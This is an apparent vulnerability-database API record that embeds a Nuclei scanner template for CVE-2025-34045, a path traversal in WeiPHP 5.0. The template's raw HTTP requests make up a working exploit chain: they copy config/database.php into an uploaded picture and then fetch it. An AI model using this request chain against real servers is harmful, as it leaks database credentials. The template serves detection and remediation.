{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-34045/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-34045/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-34045/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-34045/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-34045/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-34045"},"sightings":{"href":"/api/v1/sightings/cve-2025-34045"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-34045.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2025-34045\n\ninfo:\n  name: WeiPHP 5.0 - Path Traversal\n  author: pikpikcu\n  severity: high\n  description: |\n    WeiPHP 5.0 contains a path traversal caused by insufficient input validation of the picUrl parameter in /public/index.php/material/Material/_download_imgage, letting unauthenticated remote attackers read arbitrary files.\n  impact: |\n    Unauthenticated attackers can read arbitrary files including database configuration files through path traversal in the picUrl parameter, potentially exposing sensitive credentials.\n  remediation: |\n    Upgrade to WeiPHP version 5.1 or later that properly validates file paths in the Material API.\n  reference:\n    - http://wiki.peiqi.tech/PeiQi_Wiki/CMS%E6%BC%8F%E6%B4%9E/Weiphp/Weiphp5.0%20%E5%89%8D%E5%8F%B0%E6%96%87%E4%BB%B6%E4%BB%BB%E6%84%8F%E8%AF%BB%E5%8F%96%20CNVD-2020-68596.html\n    - https://vulncheck.com/advisories/weiphp-path-traversal-file-read\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N\n    cvss-score: 8.6\n    cwe-id: CWE-22\n  metadata:\n    max-request: 3\n  tags: cve,cve2025,weiphp,lfi,vuln,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        \"1\":1\n\n      - |\n        GET /public/index.php/home/file/user_pics HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        GET {{endpoint}} HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: endpoint\n        part: body\n        regex:\n          - '/public/uploads/picture/(.*.jpg)'\n        internal: true\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - https://weiphp.cn\n          - WeiPHP\n          - DB_PREFIX\n        condition: and\n# digest: 4a0a00473045022100f97b7d4a357ce9b4ccde9c4fda20aeca2fa0a0cf877b60c2879d8b275b117dd50220017e46ea405867f9f4ebbedbe4ea25be4fa5a4cdec973c0b20ff76cb0bc25e1e:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2025-34045"}